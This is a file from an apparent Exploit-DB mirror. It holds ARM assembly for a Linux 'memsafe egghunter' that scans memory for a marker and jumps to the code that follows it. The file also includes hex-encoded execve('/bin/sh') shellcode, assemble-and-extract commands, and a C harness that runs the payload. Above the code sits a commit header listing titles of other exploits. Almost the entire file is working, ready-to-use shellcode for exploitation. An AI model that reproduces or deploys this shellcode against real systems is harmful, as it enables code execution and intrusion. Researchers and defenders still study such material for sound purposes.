exploit-db-mirror/shellcodes/arm/44856.c
Offensive Security 0381c4c519 DB: 2018-06-09
11 changes to exploits/shellcodes

Gnome Web (Epiphany) < 3.28.2.1 - Denial of Service
WebKit - WebAssembly Compilation Info Leak
Google Chrome - Integer Overflow when Processing WebAssembly Locals
WebKit - Use-After-Free when Resuming Generator
WebRTC - VP9 Frame Processing  Out-of-Bounds Memory Access
WebRTC - VP9 Missing Frame Processing Out-of-Bounds Memory Access

TrendMicro OfficeScan XG 11.0 - Change Prevention Bypass

MantisBT XmlImportExport Plugin - PHP Code Injection (Metasploit)
Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (2)

Mantis 1.1.3 - 'manage_proj_page' PHP Code Execution (Metasploit)
Mantis Bug Tracker 1.1.3 - 'manage_proj_page' PHP Code Execution (Metasploit)
MantisBT 1.2.3 (db_type) - Cross-Site Scripting / Full Path Disclosure
MantisBT 1.2.3 (db_type) - Local File Inclusion
Mantis Bug Tracker 1.2.3 - 'db_type' Cross-Site Scripting / Full Path Disclosure
Mantis Bug Tracker 1.2.3 - 'db_type' Local File Inclusion

Mantis 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution
Mantis Bug Tracker 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution
Mantis 0.19 - Remote Server-Side Script Execution
Mantis 0.x - Multiple Cross-Site Scripting Vulnerabilities
Mantis 0.x - New Account Signup Mass Emailing
Mantis Bug Tracker 0.19 - Remote Server-Side Script Execution
Mantis Bug Tracker 0.x - Multiple Cross-Site Scripting Vulnerabilities
Mantis Bug Tracker 0.x - New Account Signup Mass Emailing

Mantis 0.x/1.0 - Multiple Input Validation Vulnerabilities
Mantis Bug Tracker 0.x/1.0 - Multiple Input Validation Vulnerabilities

Mantis 0.19.2/1.0 - 'Bug_sponsorship_list_view_inc.php' File Inclusion
Mantis Bug Tracker 0.19.2/1.0 - 'Bug_sponsorship_list_view_inc.php' File Inclusion

Mantis 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting
Mantis Bug Tracker 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting
Mantis 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities
Mantis 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting
Mantis Bug Tracker 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities
Mantis Bug Tracker 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting

MantisBT 1.1.8 - Cross-Site Scripting / SQL Injection
Mantis Bug Tracker 1.1.8 - Cross-Site Scripting / SQL Injection

MantisBT 1.2.19 - Host Header
Mantis Bug Tracker 1.2.19 - Host Header

MantisBT 1.2.0a3 < 1.2.17 - XmlImportExport Plugin PHP Code Injection (Metasploit)
Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (1)

Monstra CMS < 3.0.4 - Cross-Site Scripting Automation
Monstra CMS < 3.0.4 - Cross-Site Scripting
XiongMai uc-httpd 1.0.0 - Buffer Overflow
Splunk < 7.0.1 - Information Disclosure

Linux/ARM - Egghunter (\x50\x90\x50\x90) + execve('/bin/sh') Shellcode (32 bytes)
Linux/ARM - Egghunter (0x50905090) + execve('/bin/sh') Shellcode (32 bytes)
Linux/ARM - Egghunter (0x50905090) + execve('/bin/sh') Shellcode (60 bytes)
2018-06-09 05:01:42 +00:00

117 lines
No EOL
3.3 KiB
C

/*
* Title: Linux/ARM - Memsafe egghunter (0x50905090) + execve("/bin/sh"). Null free shellcode (60 bytes)
* Date: 2018-06-06
* Tested: armv7l (Raspberry Pi v3) and armv6l (Raspberry Pi Zero W)
* Author: rtmcx - twitter: @rtmcx
* Description: The shellcode will search the memory for the "EGG" and, when found, redirect execution to the location just after the EGG.
*/
.text
.global _start
_start:
.ARM
/* Enter Thumb mode for shorter shellcode */
add r5, pc, #1
bx r5
.THUMB
page_align:
/* Enter ARM mode (to easier calculate and set pagesize) */
mov r5, pc
bx r5
.ARM
/* Memory page alignment. */
mvn r1, r1, lsr #0x0c
mvn r1, r1, lsl #0x0c
/* Enter Thumb mode again */
add r5, pc, #1
bx r5
.THUMB
hunting:
add r1, r1, #1 // Go to next address
ldr r3, egg // set r3 to eggs value
// Setup syscall "sigaction"
mov r7, #0x43 // sigaction (syscall number 67, 0x43)
svc 1 // Execute syscall (result is stored in r0)
/* Compare the result */
sub r7, #0x51 // Calculate r7 to become 0xF2 (0x43 - 0x51)
cmp r0, r7 // Did we get EFAULT? (value 0xF2)
beq page_align // Yes, invalid adddress, next page
/* We have access to the page and can start to search for the egg.. */
ldr r2, [r1] // Place the byte at address in r2
cmp r2, r3 // Compare the egg with address bytes
bne hunting // Not the same, go to next byte
/* Here we have either found the EGG or searched the entire memory.
If the EGG was not found, this will probably cause a SEGFAULT,
since the instruction that is executed next might be an invalid one. */
/* Enter ARM mode */
/* Since we dont know which type of shellcode that will be executed (it is up to the shellcode to set correct mode) */
mov r5, pc
bx r5
.ARM
/* Set PC to execute code at address*/
mov pc, r1 // Jump to shellcode (byte after egg)
egg:
.ascii "\x50\x90\x50\x90"
/*
Compile and link with:
# as -o egghunter.o egghunter.s
# ld -N egghunter.o -o egghunter
Extract egghunter shellcode:
# objcopy -O binary egghunter egghunter.bin
# hexdump -v -e '"\\""x" 1/1 "%02x" ""' egghunter.bin
*/
//
// ------ egghunter-tester.c ------------------------
/*
#include <stdio.h>
#include <string.h>
//Compile with (on Raspberry Pi v3):
//gcc -N -static-libgcc egghunter-tester.c -o egghunter-tester
#define EGG "\x90\x50\x90\x50"
unsigned char egg[] = EGG;
unsigned char *egghunter = "\x01\x50\x8f\xe2\x15\xff\x2f\xe1\x7d\x46\x28\x47\x21\x16\xe0\xe1\x01\x16\xe0\xe1\x01\x50\x8f\xe2\x15\xff\x2f\xe1\x01\x31\x06\x4b\x43\x27\x01\xdf\x51\x3f\xb8\x42\xee\xd0\x0a\x68\x9a\x42\xf5\xd1\x7d\x46\x28\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";
// The shellcode to search for (in this case "execve('/bin/sh')")
unsigned char *shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x49\x40\x52\x40\x01\xa0"
"\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x41";
void main()
{
char buffer[200];
strcpy(buffer, egg);
strcpy(buffer+4, shellcode);
printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
printf("Shellcode Length (inc egg): %d\n", strlen(buffer));
printf("Stack location: %p\n", buffer);
int (*ret)() = (int(*)())egghunter;
ret();
}
*/